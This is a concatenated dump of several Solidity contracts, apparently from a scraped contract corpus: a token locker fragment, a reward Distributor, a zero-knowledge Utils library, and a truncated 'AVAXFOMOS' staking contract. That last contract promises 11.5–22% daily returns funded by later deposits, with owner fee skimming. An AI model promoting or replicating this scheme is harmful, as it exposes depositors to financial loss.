lockedToken[_id].deposited = false; } function customLockTokens(uint256 _id) external { require(lockedToken[_id].isCustom, 'This is not a custom lock!'); require(!lockedToken[_id].deposited, 'Tokens already locked!'); require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!'); require(lockedToken[_id].token.allowance(msg.sender, address(this)) >= lockedToken[_id].amount, 'Approve tokens first!'); require(lockedToken[_id].token.transferFrom(msg.sender, address(this), lockedToken[_id].amount), 'Transfer of tokens failed!'); uint256 tax = lockedToken[_id].amount.mul(lockedToken[_id].taxPermille).div(1000); require(lockedToken[_id].token.transfer(waultMarkingAddress, tax), 'Taxing failed!'); walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].add(lockedToken[_id].amount.sub(tax)); lockedToken[_id].amount = lockedToken[_id].amount.sub(tax); lockedToken[_id].deposited = true; depositsByWithdrawerAddress[lockedToken[_id].withdrawer].push(_id); depositsByTokenAddress[address(lockedToken[_id].token)].push(_id); } function withdrawTokens(uint256 _id) external { require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!'); require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!'); require(lockedToken[_id].deposited, 'Tokens are not yet deposited!'); require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!'); require(lockedToken[_id].token.transfer(msg.sender, lockedToken[_id].amount), 'Transfer of tokens failed!'); lockedToken[_id].withdrawn = true; walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount); for(uint256 i=0; i<depositsByWithdrawerAddress[lockedToken[_id].withdrawer].length; i++) { if(depositsByWithdrawerAddress[lockedToken[_id].withdrawer][i] == _id) { depositsByWithdrawerAddress[lockedToken[_id].withdrawer][i] = depositsByWithdrawerAddress[lockedToken[_id].withdrawer][depositsByWithdrawerAddress[lockedToken[_id].withdrawer].length - 1]; depositsByWithdrawerAddress[lockedToken[_id].withdrawer].pop(); break; } } emit Withdraw(msg.sender, lockedToken[_id].amount); } function setWaultMarkingAddress(address _waultMarkingAddress) external onlyOwner { waultMarkingAddress = _waultMarkingAddress; } function getDepositsByWithdrawerAddress(address _withdrawerAddress) view external returns (uint256[] memory) { return depositsByWithdrawerAddress[_withdrawerAddress]; } function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) { return depositsByTokenAddress[_token]; } function getTokenTotalLockedBalance(address _token) view external returns (uint256) { return IERC20(_token).balanceOf(address(this)); } }
256,399
12,002
82c134faa62e6cc1540385f634cefc0ae8576be77e2f8e7b1b8e93b56f8cd98c
17,687
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/64/64b78e95600658bf8e83a392d3cd5a6ccb3cdc28_Distributor.sol
3,884
15,358
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100) , total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy() { require(newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint _amount) external; } contract Distributor is Policy { using SafeMath for uint; using SafeERC20 for IERC20; address public immutable BULLOX; address public immutable treasury; uint public immutable epochLength; uint public nextEpochBlock; mapping(uint => Adjust) public adjustments; struct Info { uint rate; // in ten-thousandths (5000 = 0.5%) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } constructor(address _treasury, address _bullox, uint _epochLength, uint _nextEpochBlock) { require(_treasury != address(0)); treasury = _treasury; require(_bullox != address(0)); BULLOX = _bullox; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } function distribute() external returns (bool) { if (nextEpochBlock <= block.number) { nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block // distribute rewards to each recipient for (uint i = 0; i < info.length; i++) { if (info[ i ].rate > 0) { ITreasury(treasury).mintRewards(// mint and send from treasury info[ i ].recipient, nextRewardAt(info[ i ].rate)); adjust(i); // check for adjustment } } return true; } else { return false; } } function adjust(uint _index) internal { Adjust memory adjustment = adjustments[ _index ]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate if (info[ _index ].rate >= adjustment.target) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate if (info[ _index ].rate <= adjustment.target) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } function nextRewardAt(uint _rate) public view returns (uint) { return IERC20(BULLOX).totalSupply().mul(_rate).div(1000000); } function nextRewardFor(address _recipient) public view returns (uint) { uint reward; for (uint i = 0; i < info.length; i++) { if (info[ i ].recipient == _recipient) { reward = nextRewardAt(info[ i ].rate); } } return reward; } function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() { require(_recipient != address(0)); info.push(Info({ recipient: _recipient, rate: _rewardRate })); } function removeRecipient(uint _index, address _recipient) external onlyPolicy() { require(_recipient == info[ _index ].recipient); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
324,121
12,003
a723e8f21426d8991d78129df753cc45c75e768df41d593acd45cfd87333f5e2
12,597
.sol
Solidity
false
523518718
firnprotocol/contracts
86b76b0434f65c8146b9468aba266fe8a9d48c29
Utils.sol
4,635
12,538
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.17; uint256 constant n = 4; uint256 constant N = 1 << n; uint256 constant m = 5; uint256 constant M = 1 << m; library Utils { uint256 constant GROUP_ORDER = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001; uint256 constant FIELD_ORDER = 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47; uint256 constant PPLUS1DIV4 = 0x0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52; function add(uint256 x, uint256 y) internal pure returns (uint256) { return addmod(x, y, GROUP_ORDER); } function mul(uint256 x, uint256 y) internal pure returns (uint256) { return mulmod(x, y, GROUP_ORDER); } function inv(uint256 x) internal view returns (uint256) { return exp(x, GROUP_ORDER - 2); } function mod(uint256 x) internal pure returns (uint256) { return x % GROUP_ORDER; } function sub(uint256 x, uint256 y) internal pure returns (uint256) { return x >= y ? x - y : GROUP_ORDER - y + x; } function neg(uint256 x) internal pure returns (uint256) { return GROUP_ORDER - x; } function exp(uint256 base, uint256 exponent) internal view returns (uint256 output) { uint256 order = GROUP_ORDER; assembly { let location := mload(0x40) mstore(location, 0x20) mstore(add(location, 0x20), 0x20) mstore(add(location, 0x40), 0x20) mstore(add(location, 0x60), base) mstore(add(location, 0x80), exponent) mstore(add(location, 0xa0), order) if iszero(staticcall(gas(), 0x05, location, 0xc0, location, 0x20)) { revert(0, 0) } output := mload(location) } } function fieldExp(uint256 base, uint256 exponent) internal view returns (uint256 output) { // warning: mod p, not q uint256 order = FIELD_ORDER; assembly { let location := mload(0x40) mstore(location, 0x20) mstore(add(location, 0x20), 0x20) mstore(add(location, 0x40), 0x20) mstore(add(location, 0x60), base) mstore(add(location, 0x80), exponent) mstore(add(location, 0xa0), order) if iszero(staticcall(gas(), 0x05, location, 0xc0, location, 0x20)) { revert(0, 0) } output := mload(location) } } struct Point { bytes32 x; bytes32 y; } function add(Point memory p1, Point memory p2) internal view returns (Point memory r) { assembly { let location := mload(0x40) mstore(location, mload(p1)) mstore(add(location, 0x20), mload(add(p1, 0x20))) mstore(add(location, 0x40), mload(p2)) mstore(add(location, 0x60), mload(add(p2, 0x20))) if iszero(staticcall(gas(), 0x06, location, 0x80, r, 0x40)) { revert(0, 0) } } } function mul(Point memory p, uint256 s) internal view returns (Point memory r) { assembly { let location := mload(0x40) mstore(location, mload(p)) mstore(add(location, 0x20), mload(add(p, 0x20))) mstore(add(location, 0x40), s) if iszero(staticcall(gas(), 0x07, location, 0x60, r, 0x40)) { revert(0, 0) } } } function neg(Point memory p) internal pure returns (Point memory) { return Point(p.x, bytes32(FIELD_ORDER - uint256(p.y))); // p.y should already be reduced mod P? } function eq(Point memory p1, Point memory p2) internal pure returns (bool) { return p1.x == p2.x && p1.y == p2.y; } function decompress(bytes32 input) internal view returns (Point memory) { if (input == 0x00) return Point(0x00, 0x00); uint256 x = uint256(input); uint256 sign = (x & 0x8000000000000000000000000000000000000000000000000000000000000000) >> 255; x &= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; uint256 ySquared = fieldExp(x, 3) + 3; uint256 y = fieldExp(ySquared, PPLUS1DIV4); Point memory result = Point(bytes32(x), bytes32(y)); if (sign != y & 0x01) return neg(result); return result; } function compress(Point memory input) internal pure returns (bytes32) { uint256 result = uint256(input.x); if (uint256(input.y) & 0x01 == 0x01) result |= 0x8000000000000000000000000000000000000000000000000000000000000000; return bytes32(result); } function mapInto(uint256 seed) internal view returns (Point memory) { uint256 y; while (true) { uint256 ySquared = fieldExp(seed, 3) + 3; // addmod instead of add: waste of gas, plus function overhead cost y = fieldExp(ySquared, PPLUS1DIV4); if (fieldExp(y, 2) == ySquared) { break; } seed += 1; } return Point(bytes32(seed), bytes32(y)); } function mapInto(string memory input) internal view returns (Point memory) { return mapInto(uint256(keccak256(abi.encodePacked(input))) % FIELD_ORDER); } function mapInto(string memory input, uint256 i) internal view returns (Point memory) { return mapInto(uint256(keccak256(abi.encodePacked(input, i))) % FIELD_ORDER); } function slice(bytes memory input, uint256 start) internal pure returns (bytes32 result) { assembly { result := mload(add(add(input, 0x20), start)) } } struct Statement { Point[N] Y; Point[N] CLn; Point[N] CRn; Point[N] C; Point D; uint256 epoch; Point u; uint256 fee; } struct DepositProof { Point A; Point B; Point[n] C_XG; Point[n] y_XG; uint256[n] f; uint256 z_A; uint256 c; uint256 s_r; } function deserializeDeposit(bytes memory arr) internal view returns (DepositProof memory proof) { proof.A = decompress(slice(arr, 0)); proof.B = decompress(slice(arr, 32)); for (uint256 k = 0; k < n; k++) { proof.C_XG[k] = decompress(slice(arr, 64 + k * 32)); proof.y_XG[k] = decompress(slice(arr, 64 + (k + n) * 32)); proof.f[k] = uint256(slice(arr, 64 + n * 64 + k * 32)); } uint256 starting = n * 96; proof.z_A = uint256(slice(arr, 64 + starting)); proof.c = uint256(slice(arr, 96 + starting)); proof.s_r = uint256(slice(arr, 128 + starting)); return proof; } struct TransferProof { Point BA; Point BS; Point A; Point B; Point[n] CLnG; Point[n] CRnG; Point[n] C_0G; Point[n] DG; Point[n] y_0G; Point[n] gG; Point[n] C_XG; Point[n] y_XG; uint256[n][2] f; uint256 z_A; Point T_1; Point T_2; uint256 tHat; uint256 mu; uint256 c; uint256 s_sk; uint256 s_r; uint256 s_b; uint256 s_tau; InnerProductProof ip; } function deserializeTransfer(bytes memory arr) internal view returns (TransferProof memory proof) { proof.BA = decompress(slice(arr, 0)); proof.BS = decompress(slice(arr, 32)); proof.A = decompress(slice(arr, 64)); proof.B = decompress(slice(arr, 96)); for (uint256 k = 0; k < n; k++) { proof.CLnG[k] = decompress(slice(arr, 128 + k * 32)); proof.CRnG[k] = decompress(slice(arr, 128 + (k + n) * 32)); proof.C_0G[k] = decompress(slice(arr, 128 + n * 64 + k * 32)); proof.DG[k] = decompress(slice(arr, 128 + n * 96 + k * 32)); proof.y_0G[k] = decompress(slice(arr, 128 + n * 128 + k * 32)); proof.gG[k] = decompress(slice(arr, 128 + n * 160 + k * 32)); proof.C_XG[k] = decompress(slice(arr, 128 + n * 192 + k * 32)); proof.y_XG[k] = decompress(slice(arr, 128 + n * 224 + k * 32)); proof.f[0][k] = uint256(slice(arr, 128 + n * 256 + k * 32)); proof.f[1][k] = uint256(slice(arr, 128 + n * 288 + k * 32)); } uint256 starting = n * 320; proof.z_A = uint256(slice(arr, 128 + starting)); proof.T_1 = decompress(slice(arr, 160 + starting)); proof.T_2 = decompress(slice(arr, 192 + starting)); proof.tHat = uint256(slice(arr, 224 + starting)); proof.mu = uint256(slice(arr, 256 + starting)); proof.c = uint256(slice(arr, 288 + starting)); proof.s_sk = uint256(slice(arr, 320 + starting)); proof.s_r = uint256(slice(arr, 352 + starting)); proof.s_b = uint256(slice(arr, 384 + starting)); proof.s_tau = uint256(slice(arr, 416 + starting)); for (uint256 i = 0; i < m + 1; i++) { proof.ip.L[i] = decompress(slice(arr, 448 + starting + i * 32)); proof.ip.R[i] = decompress(slice(arr, 448 + starting + (i + m + 1) * 32)); } proof.ip.a = uint256(slice(arr, 448 + starting + (m + 1) * 64)); proof.ip.b = uint256(slice(arr, 480 + starting + (m + 1) * 64)); return proof; } struct WithdrawalProof { Point BA; Point BS; Point A; Point B; Point[n] CLnG; Point[n] CRnG; Point[n] y_0G; Point[n] gG; Point[n] C_XG; Point[n] y_XG; uint256[n] f; uint256 z_A; Point T_1; Point T_2; uint256 tHat; uint256 mu; uint256 c; uint256 s_sk; uint256 s_r; uint256 s_b; uint256 s_tau; InnerProductProof ip; } function deserializeWithdrawal(bytes memory arr) internal view returns (WithdrawalProof memory proof) { proof.BA = decompress(slice(arr, 0)); proof.BS = decompress(slice(arr, 32)); proof.A = decompress(slice(arr, 64)); proof.B = decompress(slice(arr, 96)); for (uint256 k = 0; k < n; k++) { proof.CLnG[k] = decompress(slice(arr, 128 + k * 32)); proof.CRnG[k] = decompress(slice(arr, 128 + (k + n) * 32)); proof.y_0G[k] = decompress(slice(arr, 128 + n * 64 + k * 32)); proof.gG[k] = decompress(slice(arr, 128 + n * 96 + k * 32)); proof.C_XG[k] = decompress(slice(arr, 128 + n * 128 + k * 32)); proof.y_XG[k] = decompress(slice(arr, 128 + n * 160 + k * 32)); proof.f[k] = uint256(slice(arr, 128 + n * 192 + k * 32)); } uint256 starting = n * 224; proof.z_A = uint256(slice(arr, 128 + starting)); proof.T_1 = decompress(slice(arr, 160 + starting)); proof.T_2 = decompress(slice(arr, 192 + starting)); proof.tHat = uint256(slice(arr, 224 + starting)); proof.mu = uint256(slice(arr, 256 + starting)); proof.c = uint256(slice(arr, 288 + starting)); proof.s_sk = uint256(slice(arr, 320 + starting)); proof.s_r = uint256(slice(arr, 352 + starting)); proof.s_b = uint256(slice(arr, 384 + starting)); proof.s_tau = uint256(slice(arr, 416 + starting)); for (uint256 i = 0; i < m; i++) { // will leave the `m`th element empty proof.ip.L[i] = decompress(slice(arr, 448 + starting + i * 32)); proof.ip.R[i] = decompress(slice(arr, 448 + starting + (i + m) * 32)); } proof.ip.a = uint256(slice(arr, 448 + starting + m * 64)); proof.ip.b = uint256(slice(arr, 480 + starting + m * 64)); return proof; } struct InnerProductStatement { uint256 salt; Point[M << 1] hs; // "overridden" parameters. Point u; Point P; } struct InnerProductProof { Point[m + 1] L; Point[m + 1] R; uint256 a; uint256 b; } function assemblePolynomials(uint256[n][2] memory f) internal pure returns (uint256[N] memory result) { // f is a 2m-by-2 array... containing the f's and x - f's, twice (i.e., concatenated). // output contains two "rows", each of length N. result[0] = 1; for (uint256 k = 0; k < n; k++) { for (uint256 i = 0; i < N; i += 1 << n - k) { result[i + (1 << n - 1 - k)] = mul(result[i], f[1][n - 1 - k]); result[i] = mul(result[i], f[0][n - 1 - k]); } } } }
265,098
12,004
4ffc1162b049f8c68777323630c4da4850e3ef2a8b1193104e55e5bd00588723
15,272
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/0a/0a5cee15a0caf58859f97fb8d5977c41554009e7_AVAXFOMOS.sol
4,551
14,499
pragma solidity 0.5.8; contract AVAXFOMOS { using SafeMath for uint256; using SafeMath for uint8; uint256 constant public INVEST_MIN_AMOUNT = 0.01 ether; // 0.01 AVAX //uint256[] public REFERRAL_PERCENTS = [20, 15,7,3,2]; //Contract_promotion uint256 constant public Contract_promotion = 60; uint256 constant public DEVELOPER_FEE = 40; uint256 constant public PERCENT_STEP = 5; uint256 constant public PERCENTS_DIVIDER= 1000; uint256 constant public TIME_STEP = 1 days; uint256 constant public MAX_HOLD_PERCENT = 15; uint256 constant public FORCE_WITHDRAW_PENALTY = 200; // 20% uint256 constant public MAX_NFT_AIRDROP_PLAN_4 = 10; uint256 constant public MAX_NFT_AIRDROP_PLAN_5 = 50; uint256 constant public MAX_NFT_AIRDROP_PLAN_6 = 100; uint256 constant public NFT_BOXES_STEP = 1000 ether; //1000 MATIC uint256 public totalStaked; uint256 public totalRefBonus; uint256 public totalUsers; struct Plan { uint256 time; uint256 percent; } Plan[] internal plans; struct Deposit { uint8 plan; uint256 percent; uint256 amount; uint256 profit; uint256 start; uint256 finish; } struct User { Deposit[] deposits; uint256 checkpoint; uint256 holdBonusCheckpoint; address payable referrer; uint256 referrals; uint256 totalBonus; uint256 withdrawn; uint256 availableBonus; } mapping (address => User) internal users; uint256 public startUNIX; address payable private commissionWallet; address payable private developerWallet; event Newbie(address user); event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish); event Withdrawn(address indexed user, uint256 amount); event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount); constructor(address payable wallet, address payable _developer) public { require(!isContract(wallet)); commissionWallet = wallet; developerWallet = _developer; startUNIX = block.timestamp.add(365 days); plans.push(Plan(14, 150)); // 15% per day for 14 days plans.push(Plan(21, 130)); // 13% per day for 21 days plans.push(Plan(28, 115)); // 6% per day for 28 days plans.push(Plan(14, 222)); // 20.2% per day for 14 days (at the end) plans.push(Plan(21, 196)); // 19.6% per day for 21 days (at the end) } function launch() public { require(msg.sender == developerWallet); startUNIX = block.timestamp; } function invest(address payable referrer,uint8 plan) public payable { _invest(referrer, plan, msg.sender, msg.value); } function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private { require(value >= INVEST_MIN_AMOUNT); require(plan < 5, "Invalid plan"); require(startUNIX < block.timestamp, "contract hasn`t started yet"); uint256 fee = value.mul(Contract_promotion).div(PERCENTS_DIVIDER); commissionWallet.transfer(fee); uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER); developerWallet.transfer(developerFee); User storage user = users[sender]; if (user.referrer == address(0)) { if (users[referrer].deposits.length > 0 && referrer != sender) { user.referrer = referrer; } address upline = user.referrer; if (upline != address(0)) { users[upline].referrals = users[upline].referrals.add(1); upline = users[upline].referrer; } } if (user.referrer != address(0)) { uint256 _refBonus = 0; address payable upline = user.referrer; if((users[upline].referrals) <= 7){ uint256 amount = value.mul(20).div(PERCENTS_DIVIDER); users[upline].totalBonus = users[upline].totalBonus.add(amount); users[upline].availableBonus = users[upline].availableBonus.add(amount); _refBonus = _refBonus.add(amount); upline = users[upline].referrer; }else if((users[upline].referrals)<=30){ uint256 amount = value.mul(30).div(PERCENTS_DIVIDER); users[upline].totalBonus = users[upline].totalBonus.add(amount); users[upline].availableBonus = users[upline].availableBonus.add(amount); _refBonus = _refBonus.add(amount); upline = users[upline].referrer; }else if((users[upline].referrals)<=75){ uint256 amount = value.mul(70).div(PERCENTS_DIVIDER); users[upline].totalBonus = users[upline].totalBonus.add(amount); users[upline].availableBonus = users[upline].availableBonus.add(amount); _refBonus = _refBonus.add(amount); upline = users[upline].referrer; }else if((users[upline].referrals)<=100){ uint256 amount = value.mul(150).div(PERCENTS_DIVIDER); users[upline].totalBonus = users[upline].totalBonus.add(amount); users[upline].availableBonus = users[upline].availableBonus.add(amount); _refBonus = _refBonus.add(amount); upline = users[upline].referrer; }else if((users[upline].referrals)>101){ uint256 amount = value.mul(200).div(PERCENTS_DIVIDER); users[upline].totalBonus = users[upline].totalBonus.add(amount); users[upline].availableBonus = users[upline].availableBonus.add(amount); _refBonus = _refBonus.add(amount); upline = users[upline].referrer; }else{ uint256 amount =0; users[upline].totalBonus = users[upline].totalBonus.add(amount); users[upline].availableBonus = users[upline].availableBonus.add(amount); _refBonus = _refBonus.add(amount); upline = users[upline].referrer; } totalRefBonus = totalRefBonus.add(_refBonus); } if (user.deposits.length == 0) { user.checkpoint = block.timestamp; user.holdBonusCheckpoint = block.timestamp; emit Newbie(sender); } (uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value); user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish)); totalStaked = totalStaked.add(value); totalUsers = totalUsers.add(1); emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish); } function withdraw() public { User storage user = users[msg.sender]; uint256 totalAmount = getUserDividends(msg.sender); require(totalAmount > 0, "User has no dividends"); uint256 contractBalance = address(this).balance; if (contractBalance < totalAmount) { totalAmount = contractBalance; } user.checkpoint = block.timestamp; user.holdBonusCheckpoint = block.timestamp; user.availableBonus = 0; user.withdrawn = user.withdrawn.add(totalAmount); msg.sender.transfer(totalAmount); emit Withdrawn(msg.sender, totalAmount); } function forceWithdraw(uint256 index) public { User storage user = users[msg.sender]; require(user.deposits.length > 0, "user doesn`t have deposits"); require(index < user.deposits.length, "Invalid index"); require(user.deposits[index].plan > 2, "unable to withdraw deposit"); require(user.deposits[index].finish > 0, "Already withdrawn"); require(user.deposits[index].finish > block.timestamp, "Period already ended"); uint256 amount = user.deposits[index].amount; uint256 totalAmount = amount.sub(amount.mul(FORCE_WITHDRAW_PENALTY).div(PERCENTS_DIVIDER)); //80% user.deposits[index].finish = 0; if(totalAmount > address(this).balance) { totalAmount = address(this).balance; } msg.sender.transfer(totalAmount); } function getAvailableNftBoxes(address userAddress) public view returns(uint256) { User storage user = users[userAddress]; uint256[] memory amounts = new uint256[](3); // deposited amount plan4,plan5,plan6 for(uint256 i = 0; i < user.deposits.length; i++) { if(user.deposits[i].plan > 2) { uint256 indexForAmounts = user.deposits[i].plan.sub(3); amounts[indexForAmounts] = amounts[indexForAmounts].add(user.deposits[i].amount); } } uint256 boxesForPlan4 = getBoxesByDepositAmount(3, amounts[0]); uint256 boxesForPlan5 = getBoxesByDepositAmount(4, amounts[1]); uint256 boxesForPlan6 = getBoxesByDepositAmount(5, amounts[2]); return boxesForPlan4.add(boxesForPlan5).add(boxesForPlan6); } function getBoxesByDepositAmount(uint8 plan, uint256 depositedAmount) public pure returns(uint256) { if(depositedAmount >= NFT_BOXES_STEP) 